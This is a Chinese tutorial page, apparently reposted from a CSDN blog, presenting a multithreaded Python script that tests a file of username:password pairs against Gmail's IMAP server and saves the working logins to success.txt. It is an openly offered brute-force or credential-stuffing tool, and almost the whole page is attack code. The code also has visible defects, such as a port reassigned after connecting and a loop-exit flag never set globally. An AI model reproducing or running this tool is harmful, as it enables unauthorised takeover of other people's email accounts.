本文实例讲述了Python实现在线暴力破解邮箱账号密码功能。分享给大家供大家参考,具体如下:
dic 字典格式如下(mail.txt) :
1
2
3
|
username@gmail.com:password username@gmail.com:password username@gmail.com:password |
以此类推,切记保存成utf-8编码格式。
放置在当前脚本目录,也可自己定义修改。
支持ssl https /imap协议。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
|
# version 3.4.0 # coding='UTF-8' # time='2014-09-16' import _dummy_thread import imaplib import threading # global variant GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY = [] GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY_NUM = 0 GLOBAL_STRING_GMAIL_IMAP4_SERVER = 'imap.gmail.com' GLOBAL_INT_GMAIL_IMAP4_SERVER_PORT = 143 GLOBAL_INT_GMAIL_IMAP4_SSL_PORT = 993 GLOBAL_WORKING_THREAD_MUTEX_LOCK = _dummy_thread.allocate_lock() GLOBAL_ARRAY_BUFFER_MAX_LINES = 1000 GMAIL_BYTES_READED_TOTAL_SIZE = 0 GLOBAL_GMAIL_CURRENT_POSITION_TOTAL_LINES = 0 GLOBAL_READ_FINISH_STATUS_SUCCESS = False # define global function def Write_Save_Success_Gmail_Jobs(indexSuccess): Success_File = open ( 'success.txt' , 'a' ) Success_File.write(GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY[indexSuccess]) Success_File.close() def Write_Save_Fail_Gmail_Jobs(indexFail): Fail_File = open ( 'fail.txt' , 'a' ) Fail_File.write(GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY[indexFail]) Fail_File.close() # define global function def Get_Parser_Account_Pwd(Index): strAccountPwd = GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY[Index] strUserName, strPassWord = strAccountPwd.split( ':' , 1 ) return strUserName, strPassWord # define global function def Veritifying_Gmail_Imap_Account_Pwd(IndexGmail): global GLOBAL_WORKING_THREAD_MUTEX_LOCK global GLOBAL_GMAIL_CURRENT_POSITION_TOTAL_LINES if ((IndexGmail > = 0 ) and (IndexGmail < GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY_NUM)) = = True : GLOBAL_WORKING_THREAD_MUTEX_LOCK.acquire() GLOBAL_GMAIL_CURRENT_POSITION_TOTAL_LINES + = 1 print ( 'POSITION---------' , GLOBAL_GMAIL_CURRENT_POSITION_TOTAL_LINES) print ( 'IMAP INDEX-------' , IndexGmail) print ( 'IMAP USERNAME----' , GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY[IndexGmail]) Write_Save_Fail_Gmail_Jobs(IndexGmail) # GLOBAL_WORKING_THREAD_MUTEX_LOCK.release() print (GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY[IndexGmail]) GmailImap4 = imaplib.IMAP4_SSL(GLOBAL_STRING_GMAIL_IMAP4_SERVER, GLOBAL_INT_GMAIL_IMAP4_SSL_PORT) GmailImap4.port = GLOBAL_INT_GMAIL_IMAP4_SERVER_PORT # 143 stringGmailUserName, stringGmailPassWord = Get_Parser_Account_Pwd(IndexGmail) try : ResponseStatus = GmailImap4.login(stringGmailUserName, stringGmailPassWord) except GmailImap4.error : print ( 'Logical errors - debug required' ) Write_Save_Fail_Gmail_Jobs(IndexGmail) GLOBAL_WORKING_THREAD_MUTEX_LOCK.release() return except GmailImap4.abort : print ( 'Service errors - close and retry' ) GmailImap4.close() Write_Save_Fail_Gmail_Jobs(IndexGmail) GLOBAL_WORKING_THREAD_MUTEX_LOCK.release() return except GmailImap4.readonly: print ( 'Mailbox status changed to read only' ) GmailImap4.close() Write_Save_Fail_Gmail_Jobs(IndexGmail) GLOBAL_WORKING_THREAD_MUTEX_LOCK.release() return if (ResponseStatus[ 0 ] = = 'OK' ): print ( 'LOGIN SUCCESS' ) Write_Save_Success_Gmail_Jobs(IndexGmail) GmailImap4.logout() GLOBAL_WORKING_THREAD_MUTEX_LOCK.release() else : GmailImap4.close() print ( 'LOGIN FAIL' ) print (ResponseStatus) Write_Save_Fail_Gmail_Jobs(IndexGmail) GLOBAL_WORKING_THREAD_MUTEX_LOCK.release() else : return # define global function class Working_Zone_Thread(threading.Thread): m_IndexStart = 0 m_IndexEnd = 0 def __init__( self , numEnd): self .m_IndexEnd = numEnd threading.Thread.__init__( self ) def run( self ): # run process while True : if self .m_IndexStart < self .m_IndexEnd: Veritifying_Gmail_Imap_Account_Pwd( self .m_IndexStart) self .m_IndexStart = self .m_IndexStart + 1 else : break def _delete( self ): threading.Thread._delete( self ) print ( 'thread delete is : ' , self .getName()) # define read function def Read_Send_Single_Func(): IndexStart = 0 print ( '--------read----star--' ) global GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY_NUM global GMAIL_BYTES_READED_TOTAL_SIZE global GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY File_Read = open ( 'mail.txt' , 'r' , encoding = 'UTF-8' ) File_Read.seek(GMAIL_BYTES_READED_TOTAL_SIZE, 0 ) # seek while IndexStart < GLOBAL_ARRAY_BUFFER_MAX_LINES: line = File_Read.readline() if line: GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY.append(line) CbBytes = line.__len__() GMAIL_BYTES_READED_TOTAL_SIZE + = CbBytes GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY_NUM + = 1 IndexStart = IndexStart + 1 else : GLOBAL_READ_FINISH_STATUS_SUCCESS = True break print ( 'gmail read num ' , IndexStart) File_Read.close() print ( '---------read----end--' ) # main entry if __name__ = = '__main__' : print ( 'Main Thread Start : ' ) while True : if GLOBAL_READ_FINISH_STATUS_SUCCESS ! = True : Read_Send_Single_Func() wzt = Working_Zone_Thread(GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY_NUM) wzt.start() wzt.join() GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY_NUM = 0 GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY.clear() else : print ( 'data has run out : ' ) break print ( 'Main Thread End : ' ) |
希望本文所述对大家Python程序设计有所帮助。
原文链接:http://blog.csdn.net/microzone/article/details/49928235